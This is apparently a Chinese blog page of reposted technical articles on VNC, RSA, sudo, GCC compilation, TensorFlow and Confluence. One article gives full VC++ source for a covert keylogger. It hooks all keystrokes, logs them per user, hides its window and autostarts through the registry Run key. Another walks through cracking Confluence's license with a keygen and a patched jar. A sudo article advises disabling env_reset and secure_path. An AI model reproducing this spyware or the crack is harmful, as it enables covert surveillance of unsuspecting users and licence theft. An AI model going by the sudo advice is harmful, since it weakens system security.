所有由浪得虛名发布的文章

VNC中Tab键不能实现命令自动补全解决方法【轉】

【原文鏈接】

https://blog.csdn.net/zzq060143/article/details/78240687

【內容】

最近由于学习需要,跑tensorflow的实验,但是用VNC连接上服务器后打开的终端中Tab键居然不能自动补全命令,每次都要自己一个一个照着敲,实在忍不了了。出现这种状况的原因是Tab键被占用了,从而不能命令自动补全了,真是尴尬,下面来说下本人的解决方法,以方便大家高效的撸代码。。。

首先在桌面点击右键打开终端,然后切换到如下目录,由于不能Tab键补全,只能一个一个字母敲了。。。

cd ~/.config/xfce4/xfconf/xfce-perchannel-xml/

然后利用强大的vim编辑器打开xfce4-keyboard-shortcuts.xml文件
vim xfce4-keyboard-shortcuts.xml

打开之后,找到下面这一行
<property name=”<Super>Tab” type=”string” value=”switch_window_key”/>
如下图所示:

然后修改为:

<property name=”<Super>Tab” type=”empty”/>


最后保存退出,然后重启下,在此打开就可以了。。。

RSA算法原理【轉】

【原文鏈接】

https://www.cnblogs.com/gwind/p/8013116.html

【原文摘錄】

一、基础数论

1、互质关系

  • 如果两个正整数,除了1以外,没有其他公因子,我们就称这两个数是互质关系(coprime)。比如,15和32没有公因子,所以它们是互质关系。这说明,不是质数也可以构成互质关系。

2、欧拉函数

  • 定义:任意给定正整数n,请问在小于等于n的正整数之中,有多少个与n构成互质关系?(比如,在1到8之中,有多少个数与8构成互质关系?),计算这个值的方法就叫做欧拉函数,以φ(n)表示。
  • 欧拉函数求法及性质:
    1. 对于素数p, φ(p)=p-1,对于对两个素数p,q, φ(pq)=pq-1,欧拉函数是积性函数,但不是完全积性函数.
    2. 对于一个正整数N的素数幂分解N=P1^q1*P2^q2*…*Pn^qn,则φ(N)=N*(1-1/P1)*(1-1/P2)*…*(1-1/Pn).
    3. 除了N=2,φ(N)都是偶数.
    4. 如果n可以分解成两个互质的整数之积,n = p1 × p2,则φ(n) = φ(p1p2) = φ(p1)φ(p2)

二、RSA加密

第一步,随机选择两个不相等的质数p和q。

爱丽丝选择了61和53。(实际应用中,这两个质数越大,就越难破解。)

第二步,计算p和q的乘积n。

爱丽丝就把61和53相乘。

  n = 61×53 = 3233

n的长度就是密钥长度。3233写成二进制是110010100001,一共有12位,所以这个密钥就是12位。实际应用中,RSA密钥一般是1024位,重要场合则为2048位。

第三步,计算n的欧拉函数φ(n)。

根据公式:

  φ(n) = (p-1)(q-1)

爱丽丝算出φ(3233)等于60×52,即3120。

第四步,随机选择一个整数e,条件是1< e < φ(n),且e与φ(n) 互质。

爱丽丝就在1到3120之间,随机选择了17。(实际应用中,常常选择65537。)

第五步,计算e对于φ(n)的模反元素d。

所谓“模反元素”就是指有一个整数d,可以使得ed被φ(n)除的余数为1。

  ed ≡ 1 (mod φ(n))

这个式子等价于

  ed – 1 = kφ(n)

于是,找到模反元素d,实质上就是对下面这个二元一次方程求解。

  ex + φ(n)y = 1

已知 e=17, φ(n)=3120,

  17x + 3120y = 1

这个方程可以用“扩展欧几里得算法”求解,此处省略具体过程。总之,爱丽丝算出一组整数解为 (x,y)=(2753,-15),即 d=2753。

至此所有计算完成。

第六步,将n和e封装成公钥,n和d封装成私钥。

在爱丽丝的例子中,n=3233,e=17,d=2753,所以公钥就是 (3233,17),私钥就是(3233, 2753)。

实际应用中,公钥和私钥的数据都采用ASN.1格式表达(实例)。

七、RSA算法的可靠性

回顾上面的密钥生成步骤,一共出现六个数字:

  p
q
n
φ(n)
e
d

这六个数字之中,公钥用到了两个(n和e),其余四个数字都是不公开的。其中最关键的是d,因为n和d组成了私钥,一旦d泄漏,就等于私钥泄漏。

那么,有无可能在已知n和e的情况下,推导出d?

  (1)ed≡1 (mod φ(n))。只有知道e和φ(n),才能算出d。

(2)φ(n)=(p-1)(q-1)。只有知道p和q,才能算出φ(n)。

(3)n=pq。只有将n因数分解,才能算出p和q。

结论:如果n可以被因数分解,d就可以算出,也就意味着私钥被破解。

可是,大整数的因数分解,是一件非常困难的事情。目前,除了暴力破解,还没有发现别的有效方法。维基百科这样写道:

  ”对极大整数做因数分解的难度决定了RSA算法的可靠性。换言之,对一极大整数做因数分解愈困难,RSA算法愈可靠。

假如有人找到一种快速因数分解的算法,那么RSA的可靠性就会极度下降。但找到这样的算法的可能性是非常小的。今天只有短的RSA密钥才可能被暴力破解。到2008年为止,世界上还没有任何可靠的攻击RSA算法的方式。

只要密钥长度足够长,用RSA加密的信息实际上是不能被解破的。”

举例来说,你可以对3233进行因数分解(61×53),但是你没法对下面这个整数进行因数分解。

  12301866845301177551304949
58384962720772853569595334
79219732245215172640050726
36575187452021997864693899
56474942774063845925192557
32630345373154826850791702
61221429134616704292143116
02221240479274737794080665
351419597459856902143413

它等于这样两个质数的乘积:

  33478071698956898786044169
84821269081770479498371376
85689124313889828837938780
02287614711652531743087737
814467999489
×
36746043666799590428244633
79962795263227915816434308
76426760322838157396665112
79233373417143396810270092
798736308917

事实上,这大概是人类已经分解的最大整数(232个十进制位,768个二进制位)。比它更大的因数分解,还没有被报道过,因此目前被破解的最长RSA密钥就是768位。

八、加密和解密

有了公钥和密钥,就能进行加密和解密了。

(1)加密要用公钥 (n,e)

假设鲍勃要向爱丽丝发送加密信息m,他就要用爱丽丝的公钥 (n,e) 对m进行加密。这里需要注意,m必须是整数(字符串可以取ascii值或unicode值),且m必须小于n。

所谓”加密”,就是算出下式的c:

  me ≡ c (mod n)

爱丽丝的公钥是 (3233, 17),鲍勃的m假设是65,那么可以算出下面的等式:

  6517 ≡ 2790 (mod 3233)

于是,c等于2790,鲍勃就把2790发给了爱丽丝。

(2)解密要用私钥(n,d)

爱丽丝拿到鲍勃发来的2790以后,就用自己的私钥(3233, 2753) 进行解密。可以证明,下面的等式一定成立:

  cd ≡ m (mod n)

也就是说,c的d次方除以n的余数为m。现在,c等于2790,私钥是(3233, 2753),那么,爱丽丝算出

  27902753 ≡ 65 (mod 3233)

因此,爱丽丝知道了鲍勃加密前的原文就是65。

至此,”加密–解密”的整个过程全部完成。

我们可以看到,如果不知道d,就没有办法从c求出m。而前面已经说过,要知道d就必须分解n,这是极难做到的,所以RSA算法保证了通信安全。

你可能会问,公钥(n,e) 只能加密小于n的整数m,那么如果要加密大于n的整数,该怎么办?有两种解决方法:一种是把长信息分割成若干段短消息,每段分别加密;另一种是先选择一种”对称性加密算法”(比如DES),用这种算法的密钥加密信息,再用RSA公钥加密DES密钥。

九、私钥解密的证明

最后,我们来证明,为什么用私钥解密,一定可以正确地得到m。也就是证明下面这个式子:

  cd ≡ m (mod n)

因为,根据加密规则

  me ≡ c (mod n)

于是,c可以写成下面的形式:

  c = me – kn

将c代入要我们要证明的那个解密规则:

  (me – kn)d ≡ m (mod n)

它等同于求证

  med ≡ m (mod n)

由于

  ed ≡ 1 (mod φ(n))

所以

  ed = hφ(n)+1

将ed代入:

  mhφ(n)+1 ≡ m (mod n)

接下来,分成两种情况证明上面这个式子。

(1)m与n互质。

根据欧拉定理,此时

  mφ(n) ≡ 1 (mod n)

得到

  (mφ(n))h × m ≡ m (mod n)

原式得到证明。

(2)m与n不是互质关系。

此时,由于n等于质数p和q的乘积,所以m必然等于kp或kq。

以 m = kp为例,考虑到这时k与q必然互质,则根据欧拉定理,下面的式子成立:

  (kp)q-1 ≡ 1 (mod q)

进一步得到

  [(kp)q-1]h(p-1) × kp ≡ kp (mod q)

  (kp)ed ≡ kp (mod q)

将它改写成下面的等式

  (kp)ed = tq + kp

这时t必然能被p整除,即 t=t’p

  (kp)ed = t’pq + kp

因为 m=kp,n=pq,所以

  med ≡ m (mod n)

原式得到证明。

如何执行sudo命令时保留当前用户env变量【轉】

【原文鏈接】

https://blog.csdn.net/otengyue/article/details/79217563

【原文摘錄】

在linux环境中我们经常使用sudo命令执行root权限,但默认情况下sudo运行时,会默认重置环境变量为安全的环境变量,也即,但前设置的变量都会失效。可以通过如下设置来取消这种设置:
1、编辑sudoers文件
vim /etc/sudoers
注释掉:

#Defaults       env_reset
#Defaults       mail_badpass
#Defaults       secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

添加

Defaults !env_reset

添加普通用户分配权限

zhangshan ALL=(ALL:ALL) ALL

这里写图片描述
2、添加特殊变量
从 1.6.9 版开始,在 sudo 执行给定的脚本或命令之前,会缩减一些系统环境变量(比如 LIBPATH)【其实就是一些包含path关键字的变量为了安全被缩减了】的设置。这会给在 sudo 下运行的现有命令造成问题。但是,在大多数情况下有办法解决。方法有很多,下面提供一种方法:
在普通用户的.profile或.bashrc中添加如下代码,下面添加PYTHONPATH和LD_LIBRARY_PATH为例:

export LD_LIBRARY_PATH=/usr/local/cuda-8.0/lib64/
export PYTHONPATH=/export/songhongwei/code/py-faster-rcnn/caffe-fast-rcnn/python
alias sudo='sudo env PYTHONPATH=$PYTHONPATH LD_LIBRARY_PATH=$LD_LIBRARY_PATH'

Linux 程序编译过程的来龙去脉【轉】

【原文鏈接】

https://blog.csdn.net/p23onzq/article/details/81977367

【原文摘錄】

大家肯定都知道计算机程序设计语言通常分为机器语言、汇编语言和高级语言三类。高级语言需要通过翻译成机器语言才能执行,而翻译的方式分为两种,一种是编译型,另一种是解释型,因此我们基本上将高级语言分为两大类,一种是编译型语言,例如C,C++,Java,另一种是解释型语言,例如Python、Ruby、MATLAB 、JavaScript。

本文将介绍如何将高层的C/C++语言编写的程序转换成为处理器能够执行的二进制代码的过程,包括四个步骤:

  • 预处理(Preprocessing)
  • 编译(Compilation)
  • 汇编(Assembly)
  • 链接(Linking)

640?wx_fmt=png

GCC 工具链介绍

通常所说的GCC是GUN Compiler Collection的简称,是Linux系统上常用的编译工具。GCC工具链软件包括GCC、Binutils、C运行库等。

GCC

GCC(GNU C Compiler)是编译工具。本文所要介绍的将C/C++语言编写的程序转换成为处理器能够执行的二进制代码的过程即由编译器完成。

Binutils

一组二进制程序处理工具,包括:addr2line、ar、objcopy、objdump、as、ld、ldd、readelf、size等。这一组工具是开发和调试不可缺少的工具,分别简介如下:

  • addr2line:用来将程序地址转换成其所对应的程序源文件及所对应的代码行,也可以得到所对应的函数。该工具将帮助调试器在调试的过程中定位对应的源代码位置。
  • as:主要用于汇编,有关汇编的详细介绍请参见后文。
  • ld:主要用于链接,有关链接的详细介绍请参见后文。
  • ar:主要用于创建静态库。为了便于初学者理解,在此介绍动态库与静态库的概念:
    • 如果要将多个.o目标文件生成一个库文件,则存在两种类型的库,一种是静态库,另一种是动态库。
    • 在windows中静态库是以 .lib 为后缀的文件,共享库是以 .dll 为后缀的文件。在linux中静态库是以.a为后缀的文件,共享库是以.so为后缀的文件。
    • 静态库和动态库的不同点在于代码被载入的时刻不同。静态库的代码在编译过程中已经被载入可执行程序,因此体积较大。共享库的代码是在可执行程序运行时才载入内存的,在编译过程中仅简单的引用,因此代码体积较小。在Linux系统中,可以用ldd命令查看一个可执行程序依赖的共享库。
    • 如果一个系统中存在多个需要同时运行的程序且这些程序之间存在共享库,那么采用动态库的形式将更节省内存。
  • ldd:可以用于查看一个可执行程序依赖的共享库。
  • objcopy:将一种对象文件翻译成另一种格式,譬如将.bin转换成.elf、或者将.elf转换成.bin等。
  • objdump:主要的作用是反汇编。有关反汇编的详细介绍,请参见后文。
  • readelf:显示有关ELF文件的信息,请参见后文了解更多信息。
  • size:列出可执行文件每个部分的尺寸和总尺寸,代码段、数据段、总大小等,请参见后文了解使用size的具体使用实例。

C运行库

C语言标准主要由两部分组成:一部分描述C的语法,另一部分描述C标准库。C标准库定义了一组标准头文件,每个头文件中包含一些相关的函数、变量、类型声明和宏定义,譬如常见的printf函数便是一个C标准库函数,其原型定义在stdio头文件中。

C语言标准仅仅定义了C标准库函数原型,并没有提供实现。因此,C语言编译器通常需要一个C运行时库(C Run Time Libray,CRT)的支持。C运行时库又常简称为C运行库。与C语言类似,C++也定义了自己的标准,同时提供相关支持库,称为C++运行时库。

准备工作

由于GCC工具链主要是在Linux环境中进行使用,因此本文也将以Linux系统作为工作环境。为了能够演示编译的整个过程,本节先准备一个C语言编写的简单Hello程序作为示例,其源代码如下所示:

#include <stdio.h> 

//此程序很简单,仅仅打印一个Hello World的字符串。
int main(void)
{
  printf("Hello World! \n");
  return 0;
}

编译过程

1.预处理

预处理的过程主要包括以下过程:

  • 将所有的#define删除,并且展开所有的宏定义,并且处理所有的条件预编译指令,比如#if #ifdef #elif #else #endif等。
  • 处理#include预编译指令,将被包含的文件插入到该预编译指令的位置。
  • 删除所有注释“//”和“/* */”。
  • 添加行号和文件标识,以便编译时产生调试用的行号及编译错误警告行号。
  • 保留所有的#pragma编译器指令,后续编译过程需要使用它们。
    使用gcc进行预处理的命令如下:
$ gcc -E hello.c -o hello.i // 将源文件hello.c文件预处理生成hello.i
                        // GCC的选项-E使GCC在进行完预处理后即停止

hello.i文件可以作为普通文本文件打开进行查看,其代码片段如下所示:

// hello.i代码片段

extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 942 "/usr/include/stdio.h" 3 4

# 2 "hello.c" 2


# 3 "hello.c"
int
main(void)
{
  printf("Hello World!" "\n");
  return 0;
}

2.编译

编译过程就是对预处理完的文件进行一系列的词法分析,语法分析,语义分析及优化后生成相应的汇编代码。

使用gcc进行编译的命令如下:

$ gcc -S hello.i -o hello.s // 将预处理生成的hello.i文件编译生成汇编程序hello.s
                        // GCC的选项-S使GCC在执行完编译后停止,生成汇编程序

上述命令生成的汇编程序hello.s的代码片段如下所示,其全部为汇编代码。

// hello.s代码片段

main:
.LFB0:
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    movl    $.LC0, %edi
    call    puts
    movl    $0, %eax
    popq    %rbp
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc

3.汇编

汇编过程调用对汇编代码进行处理,生成处理器能识别的指令,保存在后缀为.o的目标文件中。由于每一个汇编语句几乎都对应一条处理器指令,因此,汇编相对于编译过程比较简单,通过调用Binutils中的汇编器as根据汇编指令和处理器指令的对照表一一翻译即可。

当程序由多个源代码文件构成时,每个文件都要先完成汇编工作,生成.o目标文件后,才能进入下一步的链接工作。注意:目标文件已经是最终程序的某一部分了,但是在链接之前还不能执行。

使用gcc进行汇编的命令如下:

$ gcc -c hello.s -o hello.o // 将编译生成的hello.s文件汇编生成目标文件hello.o
                        // GCC的选项-c使GCC在执行完汇编后停止,生成目标文件
//或者直接调用as进行汇编
$ as -c hello.s -o hello.o //使用Binutils中的as将hello.s文件汇编生成目标文件

注意:hello.o目标文件为ELF(Executable and Linkable Format)格式的可重定向文件。

4.链接

链接也分为静态链接和动态链接,其要点如下:

  • 静态链接是指在编译阶段直接把静态库加入到可执行文件中去,这样可执行文件会比较大。链接器将函数的代码从其所在地(不同的目标文件或静态链接库中)拷贝到最终的可执行程序中。为创建可执行文件,链接器必须要完成的主要任务是:符号解析(把目标文件中符号的定义和引用联系起来)和重定位(把符号定义和内存地址对应起来然后修改所有对符号的引用)。
  • 动态链接则是指链接阶段仅仅只加入一些描述信息,而程序执行时再从系统中把相应动态库加载到内存中去。
    • 在Linux系统中,gcc编译链接时的动态库搜索路径的顺序通常为:首先从gcc命令的参数-L指定的路径寻找;再从环境变量LIBRARY_PATH指定的路径寻址;再从默认路径/lib、/usr/lib、/usr/local/lib寻找。
    • 在Linux系统中,执行二进制文件时的动态库搜索路径的顺序通常为:首先搜索编译目标代码时指定的动态库搜索路径;再从环境变量LD_LIBRARY_PATH指定的路径寻址;再从配置文件/etc/ld.so.conf中指定的动态库搜索路径;再从默认路径/lib、/usr/lib寻找。
    • 在Linux系统中,可以用ldd命令查看一个可执行程序依赖的共享库。

由于链接动态库和静态库的路径可能有重合,所以如果在路径中有同名的静态库文件和动态库文件,比如libtest.a和libtest.so,gcc链接时默认优先选择动态库,会链接libtest.so,如果要让gcc选择链接libtest.a则可以指定gcc选项-static,该选项会强制使用静态库进行链接。以Hello World为例:

  • 如果使用命令“gcc hello.c -o hello”则会使用动态库进行链接,生成的ELF可执行文件的大小(使用Binutils的size命令查看)和链接的动态库(使用Binutils的ldd命令查看)如下所示:
    $ gcc hello.c -o hello
    $ size hello  //使用size查看大小
       text    data     bss     dec     hex filename
       1183     552       8    1743     6cf     hello
    $ ldd hello //可以看出该可执行文件链接了很多其他动态库,主要是Linux的glibc动态库
            linux-vdso.so.1 =>  (0x00007fffefd7c000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fadcdd82000)
            /lib64/ld-linux-x86-64.so.2 (0x00007fadce14c000)
  • 如果使用命令“gcc -static hello.c -o hello”则会使用静态库进行链接,生成的ELF可执行文件的大小(使用Binutils的size命令查看)和链接的动态库(使用Binutils的ldd命令查看)如下所示:
    $ gcc -static hello.c -o hello
    $ size hello //使用size查看大小
         text    data     bss     dec     hex filename
     823726    7284    6360  837370   cc6fa     hello //可以看出text的代码尺寸变得极大
    $ ldd hello
           not a dynamic executable //说明没有链接动态库
    

链接器链接后生成的最终文件为ELF格式可执行文件,一个ELF可执行文件通常被链接为不同的段,常见的段譬如.text、.data、.rodata、.bss等段。

分析ELF文件

1.ELF文件的段

ELF文件格式如下图所示,位于ELF Header和Section Header Table之间的都是段(Section)。一个典型的ELF文件包含下面几个段:

  • .text:已编译程序的指令代码段。
  • .rodata:ro代表read only,即只读数据(譬如常数const)。
  • .data:已初始化的C程序全局变量和静态局部变量。
  • .bss:未初始化的C程序全局变量和静态局部变量。
  • .debug:调试符号表,调试器用此段的信息帮助调试。

640?wx_fmt=jpeg

可以使用readelf -S查看其各个section的信息如下:

$ readelf -S hello
There are 31 section headers, starting at offset 0x19d8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
……
  [11] .init             PROGBITS         00000000004003c8  000003c8
       000000000000001a  0000000000000000  AX       0     0     4
……
  [14] .text             PROGBITS         0000000000400430  00000430
       0000000000000182  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         00000000004005b4  000005b4
……

2.反汇编ELF

由于ELF文件无法被当做普通文本文件打开,如果希望直接查看一个ELF文件包含的指令和数据,需要使用反汇编的方法。

使用objdump -D对其进行反汇编如下:

$ objdump -D hello
……
0000000000400526 <main>:  // main标签的PC地址
//PC地址:指令编码                  指令的汇编格式
  400526:    55                          push   %rbp 
  400527:    48 89 e5                mov    %rsp,%rbp
  40052a:    bf c4 05 40 00          mov    $0x4005c4,%edi
  40052f:    e8 cc fe ff ff          callq  400400 <puts@plt>
  400534:    b8 00 00 00 00          mov    $0x0,%eax
  400539:    5d                      pop    %rbp
  40053a:    c3                          retq   
  40053b:    0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
……

使用objdump -S将其反汇编并且将其C语言源代码混合显示出来:

$ gcc -o hello -g hello.c //要加上-g选项
$ objdump -S hello
……
0000000000400526 <main>:
#include <stdio.h>

int
main(void)
{
  400526:    55                          push   %rbp
  400527:    48 89 e5                mov    %rsp,%rbp
  printf("Hello World!" "\n");
  40052a:    bf c4 05 40 00          mov    $0x4005c4,%edi
  40052f:    e8 cc fe ff ff          callq  400400 <puts@plt>
  return 0;
  400534:    b8 00 00 00 00          mov    $0x0,%eax
}
  400539:    5d                          pop    %rbp
  40053a:    c3                          retq   
  40053b:    0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
……

VNC Viewer 设置屏幕分辨率-解决屏幕分辨率问题【轉】

【原文鏈接】

https://blog.csdn.net/runningtortoises/article/details/51425332

【原文摘錄】

1.第一种方法:使用geometry参数进行调整

vncserver -geometry 1280×1024即可,之后通过window下vnc连接后的ubuntu分辨率即为1280×1024了,注意这里的X是小写的x而不是*

2.第二种方法:修改配置文件vncservers

[root@secdb ~]# vi /etc/sysconfig/vncservers
# The VNCSERVERS variable is a list of display:user pairs.
#
# Uncomment the line below to start a VNC server on display :1
# as my ‘myusername’ (adjust this to your own).  You will also
# need to set a VNC password; run ‘man vncpasswd’ to see how
# to do that.
#
# DO NOT RUN THIS SERVICE if your local area network is
# untrusted!  For a secure way of using VNC, see
# .

# VNCSERVERS=”1:myusername”
# VNCSERVERARGS[1]=”-geometry 800×600″
VNCSERVERS=”1:root 2:oracle”
VNCSERVERARGS[1]=”-geometry 1024×768″
VNCSERVERARGS[2]=”-geometry 1024×768″

例如我们可以将最后一行内容调整为如下
VNCSERVERARGS[2]=”-geometry 800×600″

重启vncserver后,使用“192.168.23.102:2”登录VNC便会得到一个800×600的操作窗口,用户是oracle。
[root@secdb ~]# /etc/init.d/vncserver restart
Shutting down VNC server: 1:root 2:oracle              [  OK  ]
Starting VNC server: 1:root 2:oracle                   [  OK  ]

VC++开发Windows系统全局钩子【轉】

【原文鏈接】

http://www.cnblogs.com/lyhero11/p/4514980.html

【原文摘錄】

   本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

  • 全局钩子DLL

创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,

定义全局变量:

#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()

在DLL入口函数中,添加获取钩子实例句柄的代码:

复制代码
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    // Remove this if you use lpReserved
    UNREFERENCED_PARAMETER(lpReserved);

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Initializing!\n");
        
        // Extension DLL one-time initialization
        if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
            return 0;

        new CDynLinkLibrary(KeyBoardHookDLL);
        pinstance = hInstance; //获取钩子实例句柄
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
        // Terminate the library before destructors are called
        AfxTermExtensionModule(KeyBoardHookDLL);
    }
    return 1;   // ok
}
复制代码

全局钩子的具体实现代码:

复制代码
//保存日志文件
extern "C" void SaveLog(char* c)
{
    //printf("刚才点击的是%c键/n", &c);
    //char buffer[80];
    //wsprintf(buffer, "c的值是%c", c);
    //AfxMessageBox(buffer);
    const int MAX_BUFFER_LEN = 500;  
    char  szBuffer[MAX_BUFFER_LEN];  
    DWORD dwNameLen;  
  
    dwNameLen = MAX_BUFFER_LEN;  
    GetUserName(szBuffer, &dwNameLen);

    CTime tm=CTime::GetCurrentTime();
    CString name;
    name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
    CFile file;
    if(!file.Open(name,CFile::modeReadWrite))
    {
        file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
    }
    file.SeekToEnd();
    file.Write(c,1);
    file.Close();
}

//键盘钩子回调函数
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM  lParam)
{
    LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
    if(nCode == HC_ACTION){
        if(lParam & 0x80000000){
            char c[1];
            c[0]=wParam;
    //AfxMessageBox(c);
            SaveLog(c);
        }
    }

    return Result;
}

//安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
extern "C" bool WINAPI InstallHook()
{
//    AfxMessageBox("anzhuang");
    hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0);
    if(hhook != NULL)
        return true;
    else
        return false;
}
复制代码

用def文件导出DLL函数,在KeyBoardHook.def中添加:

EXPORTS
    ; Explicit exports can go here
    InstallHook        @1        //dll导出函数的名称为InstallHook,序号为1

至此,编译并运行,程序的DLL部分便完成了。

  • 负责调用DLL的单文档应用程序

创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

//安装钩子函数
extern "C" bool WINAPI InstallHook();

在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带…View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

复制代码
void CKeyBoardHookAppView::OnInitialUpdate() 
{
    CView::OnInitialUpdate();
    
    // TODO: Add your specialized code here and/or call the base class
    InstallHook();
}
复制代码

最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

  • 设置本程序随开机自启动

使用bat批处理来制作安装和卸载

md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。

 

参考:

《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

ubuntu16.04安装TensorFlow的正确步骤【轉】

【原文鏈接】

https://blog.csdn.net/y1250056491/article/details/78670710/

https://blog.csdn.net/ymjiang820/article/details/80244457

【原文摘錄】

一、查看系统所安装的python版本

打开终端输入指令:python,如图1所示,我的系统是ubuntu16.04.03,默认安装的python版本为2.7.12。
图1

二、安装python对应版本的pip和依赖包

若python版本为2.7,则输入如下命令:

sudo apt-get install python-pip python-dev

若python版本为3.x,则输入如下命令:

sudo apt-get install python3-pip python3-dev

三、升级pip版本

在装tensorflow之前,不管是不是最新的pip版本,都要更新一下,具体命令如下:

  1. python 2.7版本:sudo pip install –upgrade pip
  2. python 3.x版本:sudo pip3 install –upgrade pip

四、更改pip源地址(提高下载速度)

修改 ~/.pip/pip.conf (没有就创建一个文件夹及文件,文件夹要加”.”,表示是隐藏文件夹),内容如下:

  1. [global]
  2. index-url = https://pypi.tuna.tsinghua.edu.cn/simple
  3. [install]
  4. trusted-host=mirrors.aliyun.com

五、安装TensorFlow

TensorFlow可以安装CPU和GPU两种版本,CPU版本安装命令如下:

  1. python 2.7版本:sudo pip install tensorflow
  2. python 3.x版本:sudo pip3 install tensorflow

GPU版本安装命令如下:

  1. python 2.7版本:sudo pip install tensorflow-gpu
  2. python 3.x版本:sudo pip3 install tensorflow-gpu

若上述命令执行过程没有报错,则安装成功。

六、测试安装结果

进入python编译环境,导入TensorFlow,做一个简单的加法运算,如图2所示。

使用以下命令安装TensorFlow

sudo pip install tensorflow

如果出现以下错误:

Cannot uninstall ‘six’. It is a distutils installed project and thus we cannot accurately determine which files belong to it which would lead to only a partial uninstall.

则可以采用这个命令,即可解决:

sudo pip install tensorflow –ignore-installed six

confluence5.10破解安装,中文包问题【轉】

【原文鏈接】

https://blog.csdn.net/tt1ss3/article/details/52169931

【原文摘錄】

准备环境

需要的环境JDK1.8,mysql5.6

并在数据库中创建confluence数据库;

 

mysql>create database confluence character set utf8;

mysql>grant all privileges on confluence.* to ‘confluence’@’localhost’ identified by ‘confluence’;

mysql>grant all privileges on confluence.* to ‘confluence’@’%’ identified by ‘confluence’;

mysql>flush privileges;

 

为防止出现中文乱码问题,还需要修改/etc/my.cnf。

vim /etc/my.cnf

在【mysqld】中添加

character-set-server = utf8

 

开始安装

需要的文件

  1. confluence5.10安装包:atlassian-confluence-5.10.0-x64.bin  。
  2. 破解包:confluence5.x-crack.zip
  3. mysql-connector-java-5.1.32-bin.jar
  4. 中文语言包:Confluence-5.10.0-rc1-language-pack-zh_CN.jar

文件下载地址:http://pan.baidu.com/s/1hrCL37m

首先将上面四个文件都下载到/tmp/confluence5.10目录下,进入目录cd /tmp/confluence1.10

运行安装包:

chmod +x atlassian-confluence-5.10.0-x64.bin

./atlassian-confluence-5.10.0-x64.bin

然后按下图选择安装选项

接下来在浏览器中打开http://localhost:8090,选择production installation,点next,下一步直接next,最后记下Server ID,留着破解用。

service confluence stop  #停掉Confluence 服务

 

#将confluence5.1-crack.zip 解压

#将/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.2.jar 复制出来。替换confluence5.1-crack 中的atlassian-extras-2.4.jar

#chmod +x keygen.sh

#./keygen.sh   #执行破解文件

注:必须是在图形界面下,因为这个运行需要图形。如果没有图形,那么就会报错。(可以在有图形的其他机器上执行,然后将atlassian-extras-2.4.jar复制回来)

输入name(随便写)和Server ID,点.patch,选择当前目录下的atlassian-extras-2.4.jar,点.gen!  得到key.

将破解好的包atlassian-extras-2.4.jar 复制到 /opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.2.jar

复制mysql-connector-java-5.1.32-bin.jar 到 /opt/atlassian/confluence/confluence/WEB-INF/lib/

复制中文包Confluence-5.10.0-rc1-language-pack-zh_CN.jar 到/opt/atlassian/confluence/confluence/WEB-INF/lib/

 

启动confluence:

service confluence start

再次打开http://localhost:8090 ,输入刚破解的key。

接着按下图操作

